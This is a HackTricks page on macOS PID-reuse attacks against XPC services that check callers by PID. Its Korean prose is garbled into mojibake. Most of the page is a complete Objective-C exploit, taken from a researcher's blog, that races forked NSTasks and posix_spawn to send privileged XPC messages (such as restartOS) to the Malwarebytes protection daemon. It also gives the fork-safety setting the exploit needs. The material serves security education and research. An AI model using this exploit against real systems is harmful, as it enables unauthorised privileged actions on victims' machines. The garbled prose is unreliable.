macOS PID ์ฌ์ฌ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
PID ์ฌ์ฌ์ฉ
macOS XPC ์๋น์ค๊ฐ PID๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํธ์ถ๋ ํ๋ก์ธ์ค๋ฅผ ํ์ธํ๊ณ ๊ฐ์ฌ ํ ํฐ์ ์ฌ์ฉํ์ง ์์ ๋, PID ์ฌ์ฌ์ฉ ๊ณต๊ฒฉ์ ์ทจ์ฝํฉ๋๋ค. ์ด ๊ณต๊ฒฉ์ ๊ฒฝ์ ์กฐ๊ฑด์ ๊ธฐ๋ฐํ๋ฉฐ, ์ต์คํ๋ก์์ด XPC ์๋น์ค์ ๋ฉ์์ง๋ฅผ ์ ์กํ์ฌ ๊ธฐ๋ฅ์ ์
์ฉํ ํ, **posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)**๋ฅผ ํ์ฉ๋ ๋ฐ์ด๋๋ฆฌ๋ก ์คํํฉ๋๋ค.
์ด ํจ์๋ ํ์ฉ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ PID๋ฅผ ์์ ํ๊ฒ ๋ง๋ค์ง๋ง, ์
์์ ์ธ XPC ๋ฉ์์ง๋ ๊ทธ ์ง์ ์ ์ ์ก๋ฉ๋๋ค. ๋ฐ๋ผ์, XPC ์๋น์ค๊ฐ PID๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ ์๋ฅผ ์ธ์ฆํ๊ณ posix_spawn ์คํ ํ์ ์ด๋ฅผ ํ์ธํ๋ฉด, ๊ถํ์ด ์๋ ํ๋ก์ธ์ค์์ ์จ ๊ฒ์ผ๋ก ์๊ฐํ ๊ฒ์
๋๋ค.
์ต์คํ๋ก์ ์์
shouldAcceptNewConnection ํจ์๋ ์ด๋ฅผ ํธ์ถํ๋ ํจ์๊ฐ **processIdentifier**๋ฅผ ํธ์ถํ๊ณ **auditToken**์ ํธ์ถํ์ง ์๋ ๊ฒฝ์ฐ๋ฅผ ์ฐพ์ผ๋ฉด, ์ด๋ ํ๋ก์ธ์ค PID๋ฅผ ํ์ธํ๊ณ ๊ฐ์ฌ ํ ํฐ์ ํ์ธํ์ง ์๋๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ์ด ์ด๋ฏธ์ง์์์ฒ๋ผ (์ฐธ์กฐ์์ ๊ฐ์ ธ์ด):
.png)
์ต์คํ๋ก์์ ๋ ๋ถ๋ถ์ ํ์ธํ๊ธฐ ์ํด ์ด ์์ ์ต์คํ๋ก์์ ํ์ธํ์ธ์ (๋ค์, ์ฐธ์กฐ์์ ๊ฐ์ ธ์ด):
- ์ฌ๋ฌ ๊ฐ์ ํฌํฌ๋ฅผ ์์ฑํ๋ ๋ถ๋ถ
- ๊ฐ ํฌํฌ๋ ๋ฉ์์ง๋ฅผ ์ ์กํ ์งํ **
posix_spawn**์ ์คํํ๋ฉด์ XPC ์๋น์ค์ ํ์ด๋ก๋๋ฅผ ์ ์กํฉ๋๋ค.
Caution
์ต์คํ๋ก์์ด ์๋ํ๋ ค๋ฉด
export`` ``**OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES**๋ฅผ ์ค์ ํ๊ฑฐ๋ ์ต์คํ๋ก์ ๋ด๋ถ์ ๋ค์์ ๋ฃ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค:asm(".section __DATA,__objc_fork_ok\n" "empty:\n" ".no_dead_strip empty\n");
์ฒซ ๋ฒ์งธ ์ต์
์ **NSTasks**๋ฅผ ์ฌ์ฉํ๊ณ ์์ ํ๋ก์ธ์ค๋ฅผ ์คํํ์ฌ RC๋ฅผ ์
์ฉํ๋ ์ธ์์
๋๋ค.
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
๋ค๋ฅธ ์์
์ฐธ๊ณ ์๋ฃ
- https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
- https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


